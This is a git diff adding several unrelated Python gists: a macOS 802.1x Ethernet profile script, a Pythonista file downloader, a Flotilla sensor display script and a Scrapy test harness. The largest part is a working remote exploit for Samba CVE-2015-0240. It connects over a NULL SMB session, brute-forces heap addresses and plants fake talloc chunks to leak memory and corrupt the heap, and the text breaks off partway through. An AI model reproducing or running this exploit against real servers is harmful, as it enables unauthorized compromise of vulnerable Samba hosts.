+    SCNetworkServiceCopyAll, SCNetworkInterfaceGetBSDName,
+    SCNetworkInterfaceGetInterfaceType, SCNetworkServiceGetInterface,
+    SCPreferencesCreate)
+import objc
+
+
+def ethernet_services(services):
+    '''function will pull any en(x) device that is truly an ethernet
+    Special Thanks to @mosen for this little function that gets
+    the job done'''
+    for service in services:
+        interface = SCNetworkServiceGetInterface(service)
+        if SCNetworkInterfaceGetInterfaceType(interface) == 'Ethernet':
+            yield interface
+
+
+def main():
+    '''This function is very similar to our fix but instead of performing
+    any systematic changes will read the information and report it to
+    jamf as an extension attribute.'''
+    eap8021x_bundle = NSBundle.bundleWithPath_(
+        '/System/Library/PrivateFrameworks/EAP8021X.framework')
+
+    # EAP Functions from @mosen's meap project (See above for link)
+    eapol_functions = [
+        ('EAPOLClientConfigurationGetTypeID', 'Q'),
+        ('EAPOLClientProfileGetTypeID', 'Q'),
+        ('EAPOLClientItemIDGetTypeID', 'Q'),
+        ('EAPOLClientConfigurationCreate',
+         '^{EAPOLClientConfigurationRef=}^{__CFAllocator=}'),
+        ('EAPOLClientProfileGetUserDefinedName',
+         '@^{EAPOLClientProfileRef=}'),
+        ('EAPOLClientConfigurationGetSystemProfile',
+         '^{EAPOLClientProfileRef=}'
+         '^{EAPOLClientConfigurationRef=}@'),
+        ('EAPOLClientConfigurationSetSystemProfile',
+         'Z^{EAPOLClientConfigurationRef=}@'
+         '^{EAPOLClientProfileRef=}'),
+        ('EAPOLClientConfigurationSave',
+         'Z^{EAPOLClientConfigurationRef=}')]
+
+    objc.loadBundleFunctions(eap8021x_bundle, globals(), eapol_functions)
+
+    # CF Types to be loaded also from @mosen's meap project
+    cf_types = [
+        ('EAPOLClientConfigurationRef',
+         '^{EAPOLClientConfigurationRef=}',
+         EAPOLClientConfigurationGetTypeID()),
+
+        ('EAPOLClientProfileRef',
+         '^{EAPOLClientProfileRef=}',
+         EAPOLClientProfileGetTypeID()),
+
+        ('EAPOLClientItemIDRef',
+         '^{EAPOLClientItemIDRef=}',
+         EAPOLClientItemIDGetTypeID()), ]
+
+    for item in cf_types:
+        objc.registerCFSignature(*item)
+
+    # Define blank list to be used to gather EAPOL information on
+    # Ethernet interfaces
+    interface_list = []
+    prefs = SCPreferencesCreate(None, "python", None)
+    services = SCNetworkServiceCopyAll(prefs)
+
+    # Poll through the interfaces and make a list of the true Ethernet
+    # adapters on the system
+    for interface in ethernet_services(services):
+        interface_list.append(SCNetworkInterfaceGetBSDName(interface))
+
+    # For loop to iterate through our Ethernet adapters and determine if they
+    # have the system profile we are looking for and apply it to any other
+    # Ethernet interfaces that don't have it applied. Change "Ethernet(COE)"
+    # to whatever your 802.1x profile is called in Network Preferences.
+    # Default in jamf is sadly "Network"
+    for ethernet in interface_list:
+        cfg = EAPOLClientConfigurationCreate(None)
+        look_for_cfg = EAPOLClientConfigurationGetSystemProfile(cfg, ethernet)
+        if look_for_cfg is not None:
+            if EAPOLClientProfileGetUserDefinedName(
+                    look_for_cfg) == 'Ethernet(COE)':
+                for ethernet in interface_list:
+                    if EAPOLClientConfigurationGetSystemProfile(
+                            cfg, ethernet) == look_for_cfg:
+                        continue
+                    else:
+                        EAPOLClientConfigurationSetSystemProfile(cfg, ethernet, look_for_cfg)
+                        EAPOLClientConfigurationSave(cfg)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/04c2b5ce5978c0d66e6e/._snippet.py b/hard-gists/04c2b5ce5978c0d66e6e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/04c2b5ce5978c0d66e6e/._snippet.py differ
diff --git a/hard-gists/04c2b5ce5978c0d66e6e/snippet.py b/hard-gists/04c2b5ce5978c0d66e6e/snippet.py
new file mode 100644
index 00000000..c6ffa5ee
--- /dev/null
+++ b/hard-gists/04c2b5ce5978c0d66e6e/snippet.py
@@ -0,0 +1,108 @@
+"""Prompt user for URL and filename and download the remote resource to a file.
+
+If the clipboard contains a HTTP(S) or FTP(S) URL, the URL input dialog is
+pre-filled with it.
+
+The suggested local filename is extracted from the URL, if possible.
+
+If a github file viewer URL is given, it is transformed into the matching
+raw file access URL, which makes it easier to download files on github you
+are viewing in your browser. Just copy the URL to the clipboard, change to
+Pythonista and run this script.
+
+""" 
+import os
+import re
+import tempfile
+import urllib2
+import urlparse
+
+from os.path import basename, exists
+from urllib import unquote
+
+import console
+import editor
+
+CHUNKSIZE = 4096
+
+def download(args):
+    if args:
+        url = args[0]
+    else:
+        try:
+            import clipboard
+            cb = clipboard.get().strip()
+            if not re.search('^(ht|f)tps?://', cb):
+                cb = ''
+            url = console.input_alert('Enter URL', 'Download file from URL:',
+                cb, 'Download')
+        except KeyboardInterrupt:
+            return
+
+    # convert github file viewer URLs into raw file URLs
+    urlparts = urlparse.urlparse(url)
+    try:
+        auth, server = urlparts.netloc.split('@')
+    except:
+        server = urlparts.netloc
+
+    server = server.split(':')[0]
+    if server == 'github.com' and '/blob' in urlparts.path:
+        urlparts = list(urlparts)
+        urlparts[1] = urlparts[1].replace('github.com', 'raw.githubusercontent.com')
+        urlparts[2] = urlparts[2].replace('/blob', '')
+        url = urlparse.urlunparse(urlparts)
+
+    try:
+        r = urllib2.urlopen(url)
+    except urllib2.URLError as exc:
+        print(exc)
+        console.hud_alert("Download error (see console)", 'error')
+        return
+
+    content_type = r.info().get('content-type')
+    urlparts = urlparse.urlparse(r.geturl())
+    fn = basename(unquote(urlparts.path))
+
+    while True:
+        try:
+            fn = console.input_alert('Enter filename', "Save download as:", fn)
+            if exists(fn):
+                choice = console.alert('Overwrite file?',
+                    'File exists. Enter new filename, overwrite or cancel?',
+                    'New filename', 'Overwrite')
+                if choice == 2:
+                    break
+            else:
+                break
+        except KeyboardInterrupt:
+            return
+
+    try:
+        # trigger error early in case there are permission problems 
+        if not exists(fn):
+            open(fn, 'wb').close()
+
+        with tempfile.NamedTemporaryFile(delete=False) as temp:
+            while True:
+                chunk = r.read(CHUNKSIZE)
+                if not chunk:
+                    break
+                temp.write(chunk)
+    except Exception as exc:
+        print(exc)
+        console.hud_alert("Download error (see console)", 'error')
+        try:
+            os.unlink(temp.name)
+        except:
+            pass
+        return        
+    else:
+        os.rename(temp.name, fn)
+    
+    if content_type.startswith('text/'):
+        editor.open_file(fn)
+
+if __name__ == '__main__':
+    import sys
+    download(sys.argv[1:])
diff --git a/hard-gists/04ef258fa29e4e685287a30cf60462d0/._snippet.py b/hard-gists/04ef258fa29e4e685287a30cf60462d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/04ef258fa29e4e685287a30cf60462d0/._snippet.py differ
diff --git a/hard-gists/04ef258fa29e4e685287a30cf60462d0/snippet.py b/hard-gists/04ef258fa29e4e685287a30cf60462d0/snippet.py
new file mode 100644
index 00000000..15883041
--- /dev/null
+++ b/hard-gists/04ef258fa29e4e685287a30cf60462d0/snippet.py
@@ -0,0 +1,233 @@
+#!/usr/bin/env python3
+
+import flotilla
+import time
+
+client = flotilla.Client(
+    requires={
+        'one':flotilla.Matrix,
+        'eight':flotilla.Number,
+	'two':flotilla.Weather,
+        'three':flotilla.Touch,
+        'seven':flotilla.Light
+        })
+
+matrix = client.first(flotilla.Matrix)
+number = client.first(flotilla.Number)
+light = client.first(flotilla.Light)
+weather = client.first(flotilla.Weather)
+touch = client.first(flotilla.Touch)
+
+matrix.clear()
+number.clear()
+
+def logo(name):
+    if name == "temp":
+        print ("temp")
+        matrix.clear()
+        mylistx=[0,7,1,2,3,4,5,6,1,2,5,6,1,3,4,6,1,3,4,6,1,2,5,6,1,2,3,4,5,6,0,7]
+        mylisty=[0,0,1,1,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,6,6,6,7,7]
+        for i in range(len(mylistx)):
+            x = mylistx[i]
+            y = mylisty[i]
+            matrix.set_pixel(x,y, True)
+        matrix.update()
+        time.sleep(2)
+        matrix.clear()
+        matrix.update()
+
+    if name == "light":
+        print ("light")
+        matrix.clear()
+        mylistx=[2,0,3,1,4,2,5,3,6,7,1,4,5,6,7,2,4,5,6,7,3,4,5,6,7]
+        mylisty=[0,1,1,2,2,3,3,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7]
+        for i in range(len(mylistx)):
+            x = mylistx[i]
+            y = mylisty[i]
+            matrix.set_pixel(x,y, True)
+        matrix.update()
+        time.sleep(2)
+        matrix.clear()
+
+    if name == "pressure":
+        print ("pressure")
+        matrix.clear()
+        mylistx=[3,4,5,2,6,1,3,4,7,0,2,5,7,0,3,5,7,1,3,4,7,2,6,3,4,5]
+        mylisty=[0,0,0,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,7,7,7]
+        for i in range(len(mylistx)):
+            x = mylistx[i]
+            y = mylisty[i]
+            matrix.set_pixel(x,y, True)
+        matrix.update()
+        time.sleep(2)
+        matrix.clear()
+
+    if name == "button":
+        print ("button")
+        matrix.clear()
+        mylistx=[0,1,2,3,4,5,6,7,0,3,4,7,0,3,4,7,0,3,4,7,0,3,4,7,0,3,4,7,0,3,4,7,0,1,2,3,4,5,6,7]
+        mylisty=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,6,7,7,7,7,7,7,7,7]
+        for i in range(len(mylistx)):
+            x = mylistx[i]
+            y = mylisty[i]
+            matrix.set_pixel(x,y, True)
+        matrix.update()
+        
+def get_temp():
+    for wait in range (20):
+        matrix.clear()
+        for y in range(8):
+            matrix.set_pixel(7, y, True)
+        for x in range(8):
+            matrix.set_pixel(x,0, True)
+        try:
+            t_value = int(weather.temperature)
+            print(t_value)
+            number.clear()
+            number.set_number(t_value)
+            number.update()
+            if t_value in range (0,9):
+                m_l_value = 0
+            if t_value in range (10,19):
+                m_l_value = 1
+            if t_value in range (20,28):
+                m_l_value = 2
+            if t_value in range (30,39):
+                m_l_value = 3
+            if t_value in range (40,49):
+                m_l_value = 4
+            if t_value in range (50,59):
+                m_l_value = 5
+            if t_value in range (60,69):
+                m_l_value = 6
+            if t_value in range (70,79):
+                m_l_value = 7
+            if t_value in range (80,90):
+                m_l_value = 8
+            print (m_l_value)
+            for count in range(m_l_value):
+                matrix.set_pixel(3,count+1,True)
+                matrix.set_pixel(4,count+1,True)
+            matrix.update()
+            time.sleep(1)
+        except Exception:
+            pass
+
+def get_pressure():
+    for wait in range (20):
+        matrix.clear()
+        for y in range(8):
+            matrix.set_pixel(7, y, True)
+        for x in range(8):
+            matrix.set_pixel(x,0, True)
+       
+        try:
+            p_value = int(weather.pressure)
+            print(p_value)
+            number.clear()
+            p_display=int((p_value/1000))
+            print (p_display)
+            number.set_number(p_display)
+            number.update()
+            if p_value in range (0,10000):
+                m_l_value = 0
+            if p_value in range (10000,19999):
+                m_l_value = 1
+            if p_value in range (20000,29999):
+                m_l_value = 2
+            if p_value in range (30000,39999):
+                m_l_value = 3
+            if p_value in range (40000,49999):
+                m_l_value = 4
+            if p_value in range (50000,59999):
+                m_l_value = 5
+            if p_value in range (60000,69999):
+                m_l_value = 6
+            if p_value in range (70000,79999):
+                m_l_value = 7
+            if p_value in range (80000,99999):
+                m_l_value = 8
+            print (m_l_value)
+            for count in range(m_l_value):
+                matrix.set_pixel(3,count+1,True)
+                matrix.set_pixel(4,count+1,True)
+            matrix.update()
+        except Exception:
+            pass
+        time.sleep(1)
+
+def get_light():
+    for wait in range (20):
+        matrix.clear()
+        for y in range(8):
+            matrix.set_pixel(7, y, True)
+        for x in range(8):
+            matrix.set_pixel(x,0, True)
+        print (light.data)
+        
+        try:
+            l_value = int(light.data[0])
+            print(l_value)
+            number.clear()
+            number.set_number(l_value)
+            number.update()
+            if l_value in range (0,99):
+                m_l_value = 0
+            if l_value in range (100,199):
+                m_l_value = 1
+            if l_value in range (200,299):
+                m_l_value = 2
+            if l_value in range (300,399):
+                m_l_value = 3
+            if l_value in range (400,499):
+                m_l_value = 4
+            if l_value in range (500,599):
+                m_l_value = 5
+            if l_value in range (600,699):
+                m_l_value = 6
+            if l_value in range (700,799):
+                m_l_value = 7
+            if l_value in range (800,5000):
+                m_l_value = 8
+            print (m_l_value)
+            for count in range(m_l_value):
+                matrix.set_pixel(3,count+1,True)
+                matrix.set_pixel(4,count+1,True)
+            matrix.update()
+            time.sleep(1)
+        except Exception:
+            pass
+
+
+
+
+try:
+    while True:
+        logo("button")
+        light_v = (touch.one)
+        temp_v = (touch.two)
+        pressure_v = (touch.three)
+            
+        if light_v == True:
+            print ("Light Meter")
+            logo("light")
+            get_light()
+            logo("button")
+
+        if temp_v == True:
+            print ("Temperature")
+            logo("temp")
+            get_temp()
+            logo("button")
+
+        if pressure_v == True:
+            print ("Pressure")
+            logo("pressure")
+            get_pressure()
+            logo("button")
+
+    time.sleep(0.5)
+
+except KeyboardInterrupt:
+    client.stop()
+    
diff --git a/hard-gists/04f3047ca8770f4a3a58/._snippet.py b/hard-gists/04f3047ca8770f4a3a58/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/04f3047ca8770f4a3a58/._snippet.py differ
diff --git a/hard-gists/04f3047ca8770f4a3a58/snippet.py b/hard-gists/04f3047ca8770f4a3a58/snippet.py
new file mode 100644
index 00000000..314ce903
--- /dev/null
+++ b/hard-gists/04f3047ca8770f4a3a58/snippet.py
@@ -0,0 +1,49 @@
+import subprocess
+import unittest
+
+from scrapy.crawler import Crawler
+from scrapy.utils.project import get_project_settings
+from twisted.internet import reactor, task
+
+from my_project.spiders.spider1 import Spider1
+from my_project.spiders.spider2 import Spider2
+
+
+fixture_server = subprocess.Popen(['python', '-m', 'SimpleHTTPServer', '4012'])
+
+def setup_crawler(spider_class, **kwargs):
+    splitter = ';'
+    urls = kwargs['urls'].split(splitter)
+    kwargs['urls'] = splitter.join(['http://127.0.0.1:4012/my_project/test/fixtures/' + url for url in urls])
+    spider = spider_class(**kwargs)
+
+    settings = get_project_settings()
+    crawler = Crawler(settings)
+    crawler.configure()
+    crawler.crawl(spider)
+    crawler.start()
+    return spider
+
+spider1 = setup_crawler(
+  spider_class=Spider1,
+  site_id=654321,
+  urls='spider1/mini.csv',
+)
+
+spider2 = setup_crawler(
+  spider_class=Spider2,
+  site_id=654321,
+  urls='spider2/mini.xml',
+)
+
+task.deferLater(reactor, 1, reactor.stop)
+reactor.run()
+fixture_server.kill()
+
+
+class SpidersTests(unittest.TestCase):
+  def test_spider1(self):
+    self.assertEqual(len(spider1.results_sent[0]), 4)
+
+  def test_xml_getter(self):
+    self.assertEqual(len(spider2.results_sent[0]), 2)
diff --git a/hard-gists/051e881fc94fe4a49295/._snippet.py b/hard-gists/051e881fc94fe4a49295/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/051e881fc94fe4a49295/._snippet.py differ
diff --git a/hard-gists/051e881fc94fe4a49295/snippet.py b/hard-gists/051e881fc94fe4a49295/snippet.py
new file mode 100644
index 00000000..18af6fd3
--- /dev/null
+++ b/hard-gists/051e881fc94fe4a49295/snippet.py
@@ -0,0 +1,911 @@
+#!/usr/bin/python
+"""
+Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya
+
+The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by 
+ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
+in libtalloc does not write a value on 'creds' address.
+
+Reference:
+- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
+
+Note:
+- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option)
+  if something failed
+
+Find heap address:
+- ubuntu PIE heap start range: b7700000 - b9800000
+- start payload size: the bigger it is the lesser connection and binding time.
+  but need more time to shrink payload size
+- payload is too big to fit in freed small hole. so payload is always at end
+  of heap
+- start bruteforcing heap address from high memory address to low memory address
+  to prevent 'creds' pointed to real heap chunk (also no crash but not our payload)
+
+Leak info:
+- heap layout is predictable because talloc_stackframe_pool(8192) is called after 
+  accepted connection and fork but before calling smbd_server_connection_loop_once()
+- before talloc_stackframe_pool(8192) is called, there are many holes in heap
+  but their size are <8K. so pool is at the end of heap at this time
+- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool.
+  with the same pattern of request, the layout in pool are always the same.
+- many data are not allocated in pool but fit in free holes. so no small size data are
+  allocated after pool.
+- normally there are only few data block allocated after pool.
+  - pool size: 0x2048 (included glibc heap header 4 bytes)
+  - a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes)
+  - p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes)
+    - this might not be allocated here because its size might fit in freed hole
+    - all fragment should be same size to prevent talloc_realloc() changed pdu.data size
+      - so last fragment should be padded
+  - ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes)
+    - this might not be allocated here because its size might fit in freed hole
+  - p->in_data.data.data. the size is our netlogon data
+    - for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes)
+    - this data is allocated by realloc(), grew by each fragment. so this memory
+      block is not allocated by mmapped even the size is very big.
+- pool layout for interested data
+  - r->out offset from pool (talloc header) is 0x13c0
+    - r->out.return_authenticator offset from pool is 0x13c0+0x18
+      - overwrite this (with link unlink) to leak info in ServerPasswordSet response
+  - smb_request offset from pool (talloc header) is 0x11a0
+    - smb_request.sconn offset from pool is 0x11a0+0x3c
+      - socket fd is at smb_request.sconn address (first struct member)
+- more shared folder in configuration, more freed heap holes
+  - only if there is no or one shared, many data might be unexpected allocated after pool.
+    have to get that extra offset or bruteforce it
+
+
+More exploitation detail in code (comment) ;)
+"""
+
+import sys
+import time
+from struct import pack,unpack
+import argparse
+
+import impacket
+from impacket.dcerpc.v5 import transport, nrpc
+from impacket.dcerpc.v5.ndr import NDRCALL
+from impacket.dcerpc.v5.dtypes import WSTR
+
+
+class Requester:
+    """
+    put all smb request stuff into class. help my editor folding them
+    """
+    
+    # impacket does not implement NetrServerPasswordSet
+    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
+    class NetrServerPasswordSet(NDRCALL):
+        opnum = 6
+        structure = (
+           ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
+           ('AccountName',WSTR),
+           ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
+           ('ComputerName',WSTR),
+           ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
+           ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
+        )
+    # response is authenticator (8 bytes) and error code (4 bytes)
+
+    # size of each field in sent packet
+    req_server_handle_size = 16
+    req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
+    req_sec_type_size = 2
+    req_computer_size = 4 + 4 + 4 + 2
+    req_authenticator_size = 8 + 2 + 4
+    req_new_pwd_size = 16
+    req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size
+    
+    samba_rpc_fragment_size = 4280
+    netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24  # 24 is dcerpc header size
+    
+    def __init__(self):
+        self.target = None
+        self.dce = None
+        
+        sessionKey = '\x00'*16
+        # prepare ServerPasswordSet request
+        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
+        authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
+        authenticator['Timestamp'] = 10
+
+        uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
+        uasNewPass['Data'] = '\x00'*16
+
+        self.serverName = nrpc.PLOGONSRV_HANDLE()
+        # ReferentID field of PrimaryName controls the uninitialized value of creds
+        self.serverName.fields['ReferentID'] = 0
+        
+        self.accountName = WSTR()
+
+        request = Requester.NetrServerPasswordSet()
+        request['PrimaryName'] = self.serverName
+        request['AccountName'] = self.accountName
+        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+        request['ComputerName'] = '\x00'
+        request['Authenticator'] = authenticator
+        request['UasNewPassword'] = uasNewPass
+        self.request = request
+    
+    def set_target(self, target):
+        self.target = target
+        
+    def set_payload(self, s, pad_to_size=0):
+        if pad_to_size > 0:
+            s += '\x00'*(pad_to_size-len(s))
+        pad_size = 0
+        if len(s) < (16*1024+1):
+            ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size
+            if ofsize > 0:
+                pad_size = self.netlogon_data_fragment_size - ofsize
+        
+        self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00'
+        self.accountName.fields['MaximumCount'] = None
+        self.accountName.fields['ActualCount'] = None
+        self.accountName.data = None        # force recompute
+        
+    set_accountNameData = set_payload
+
+    def get_dce(self):
+        if self.dce is None or self.dce.lostconn:
+            rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target)
+            rpctransport.set_credentials('','')  # NULL session
+            rpctransport.set_dport(445)
+            # force to 'NT LM 0.12' only
+            rpctransport.preferred_dialect('NT LM 0.12')
+            
+            self.dce = rpctransport.get_dce_rpc()
+            self.dce.connect()
+            self.dce.bind(nrpc.MSRPC_UUID_NRPC)
+            self.dce.lostconn = False
+        return self.dce
+
+    def get_socket(self):
+        return self.dce.get_rpc_transport().get_socket()
+    
+    def force_dce_disconnect(self):
+        if not (self.dce is None or self.dce.lostconn):
+            self.get_socket().close()
+            self.dce.lostconn = True
+
+    def request_addr(self, addr):
+        self.serverName.fields['ReferentID'] = addr
+        
+        dce = self.get_dce()
+        try:
+            dce.call(self.request.opnum, self.request)
+            answer = dce.recv()
+            return unpack("<IIII", answer)
+        except impacket.nmb.NetBIOSError as e:
+            if e.args[0] != 'Error while reading from remote':
+                raise
+            dce.lostconn = True
+        return None
+
+    # call with no read
+    def call_addr(self, addr):
+        self.serverName.fields['ReferentID'] = addr
+        
+        dce = self.get_dce()
+        try:
+            dce.call(self.request.opnum, self.request)
+            return True
+        except impacket.nmb.NetBIOSError as e:
+            if e.args[0] != 'Error while reading from remote':
+                raise
+            dce.lostconn = True
+        return False
+    
+    def force_recv(self):
+        dce = self.get_dce()
+        return dce.get_rpc_transport().recv(forceRecv=True)
+
+    def request_check_valid_addr(self, addr):
+        answers = self.request_addr(addr)
+        if answers is None:
+            return False # connection lost
+        elif answers[3] != 0:
+            return True  # error, expected
+        else:
+            raise Error('Unexpected result')
+
+
+# talloc constants
+TALLOC_MAGIC = 0xe8150c70  # for talloc 2.0
+TALLOC_FLAG_FREE = 0x01
+TALLOC_FLAG_LOOP = 0x02
+TALLOC_FLAG_POOL = 0x04
+TALLOC_FLAG_POOLMEM = 0x08
+
+TALLOC_HDR_SIZE = 0x30  # for 32 bit
+
+flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP  # for checking valid address
+
+# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address.
+TARGET_PAYLOAD_SIZE = 8192
+
+########
+# request helper functions
+########
+
+# only one global requester
+requester = Requester()
+
+def force_dce_disconnect():
+    requester.force_dce_disconnect()
+
+def request_addr(addr):
+    return requester.request_addr(addr)
+
+def request_check_valid_addr(addr):
+    return requester.request_check_valid_addr(addr)
+
+def set_payload(s, pad_to_size=0):
+    requester.set_payload(s, pad_to_size)
+
+def get_socket():
+    return requester.get_socket()
+    
+def call_addr(addr):
+    return requester.call_addr(addr)
+
+def force_recv():
+    return requester.force_recv()
+        
+########
+# find heap address
+########
+
+# only refs MUST be NULL, other never be checked
+fake_chunk_find_heap = pack("<IIIIIIII",
+    0, 0, 0, 0, # refs
+    flag_loop, flag_loop, flag_loop, flag_loop,
+)
+
+def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False):
+    """
+    below code can be used for checking valid heap address (no crash)
+
+    if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
+        /* we have a free loop - stop looping */
+        return 0;
+    }
+    """
+    global fake_chunk_find_heap
+    payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap))
+    set_payload(payload)
+    addr_step = payload_size
+    addr = start_addr
+    i = 0
+    while addr > stop_addr:
+        if i == 16:
+            print(" [*]trying addr: {:x}".format(addr))
+            i = 0
+        
+        if request_check_valid_addr(addr):
+            return addr
+        if first:
+            # first time, the last 16 bit is still do not know
+            # have to do extra check
+            if request_check_valid_addr(addr+0x10):
+                return addr+0x10
+        addr -= addr_step
+        i += 1
+    return None
+
+def find_valid_heap_exact_addr(addr, payload_size):
+    global fake_chunk_find_heap
+    fake_size = payload_size // 2
+    while fake_size >= len(fake_chunk_find_heap):
+        payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap))
+        set_payload(payload, payload_size)
+        if not request_check_valid_addr(addr):
+            addr -= fake_size
+        fake_size = fake_size // 2
+    
+    set_payload('\x00'*16 + pack("<I", flag_loop), payload_size)
+    # because glibc heap is align by 8
+    # so the last 4 bit of address must be 0x4 or 0xc
+    if request_check_valid_addr(addr-4):
+        addr -= 4
+    elif request_check_valid_addr(addr-0xc):
+        addr -= 0xc
+    else:
+        print(" [-] bad exact addr: {:x}".format(addr))
+        return 0
+    
+    print(" [*] checking exact addr: {:x}".format(addr))
+    
+    if (addr & 4) == 0:
+        return 0
+    
+    # test the address
+    
+    # must be invalid (refs is AccountName.ActualCount)
+    set_payload('\x00'*12 + pack("<I", flag_loop), payload_size)
+    if request_check_valid_addr(addr-4):
+        print(' [-] request_check_valid_addr(addr-4) failed')
+        return 0
+    # must be valid (refs is AccountName.Offset)
+    # do check again if fail. sometimes heap layout is changed
+    set_payload('\x00'*8 + pack("<I", flag_loop), payload_size)
+    if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) :
+        print(' [-] request_check_valid_addr(addr-8) failed')
+        return 0
+    # must be invalid (refs is AccountName.MaxCount)
+    set_payload('\x00'*4 + pack("<I", flag_loop), payload_size)
+    if request_check_valid_addr(addr-0xc):
+        print(' [-] request_check_valid_addr(addr-0xc) failed')
+        return 0
+    # must be valid (refs is ServerHandle.ActualCount)
+    # do check again if fail. sometimes heap layout is changed
+    set_payload(pack("<I", flag_loop), payload_size)
+    if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10):
+        print(' [-] request_check_valid_addr(addr-0x10) failed')
+        return 0
+        
+    return addr
+
+def find_payload_addr(start_addr, start_payload_size, target_payload_size):
+    print('[*] bruteforcing heap address...')
+
+    start_addr = start_addr & 0xffff0000
+        
+    heap_addr = 0
+    while heap_addr == 0:
+        # loop from max to 0xb7700000 for finding heap area
+        # offset 0x20000 is minimum offset from heap start to recieved data in heap
+        stop_addr = 0xb7700000 + 0x20000
+        good_addr = None
+        payload_size = start_payload_size
+        while payload_size >= target_payload_size:
+            force_dce_disconnect()
+            found_addr = None
+            for i in range(3):
+                found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None)
+                if found_addr is not None:
+                    break
+            if found_addr is None:
+                # failed
+                good_addr = None
+                break
+            good_addr = found_addr
+            print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr))
+            start_addr = good_addr
+            stop_addr = good_addr - payload_size + 0x20
+            payload_size //= 2
+
+        if good_addr is not None:
+            # try 3 times to find exact address. if address cannot be found, assume
+            # minimizing payload size is not correct. start minimizing again
+            for i in range(3):
+                heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size)
+                if heap_addr != 0:
+                    break
+                force_dce_disconnect()
+        
+        if heap_addr == 0:
+            print(' [-] failed to find payload adress')
+            # start from last good address + some offset
+            start_addr = (good_addr + 0x10000) & 0xffff0000
+            print('[*] bruteforcing heap adress again from {:x}'.format(start_addr))
+    
+    payload_addr = heap_addr - len(fake_chunk_find_heap)
+    print(" [+] found payload addr: {:x}".format(payload_addr))
+    return payload_addr
+
+
+########
+# leak info
+########
+
+def addr2utf_prefix(addr):
+    def is_badchar(v):
+        return (v >= 0xd8) and (v <= 0xdf)
+    
+    prefix = 0 # safe
+    if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff):
+        prefix |= 2 # cannot have prefix
+    if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff):
+        prefix |= 1 # must have prefix
+    return prefix
+    
+def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False):
+    """
+    Note:
+    - if next_addr and prev_addr are not zero, they must be writable address
+      because of below code in _talloc_free_internal()
+        if (tc->prev) tc->prev->next = tc->next;
+        if (tc->next) tc->next->prev = tc->prev;
+    """
+    # Note: U+D800 to U+DFFF is reserved (also bad char for samba)
+    # check if '\x00' is needed to avoid utf16 badchar
+    prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr)
+    if prefix_len == 3:
+        return None # cannot avoid badchar
+    if prefix_len == 2:
+        prefix_len = 0
+
+    fake_chunk_leak_info = pack("<IIIIIIIIIIII",
+        next_addr, prev_addr, # next, prev
+        0, 0, # parent, children
+        0, 0, # refs, destructor
+        0, 0, # name, size
+        TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
+        0, 0, 0, # pool, pad, pad
+        )
+    payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count
+    set_payload(payload, TARGET_PAYLOAD_SIZE)
+    if call_only:
+        return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
+    
+    for i in range(3 if retry else 1):
+        try:
+            answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
+        except impacket.dcerpc.v5.rpcrt.Exception:
+            print("impacket.dcerpc.v5.rpcrt.Exception")
+            answers = None
+            force_dce_disconnect()
+        if answers is not None:
+            # leak info must have next or prev address
+            if (answers[1] == prev_addr) or (answers[0] == next_addr):
+                break
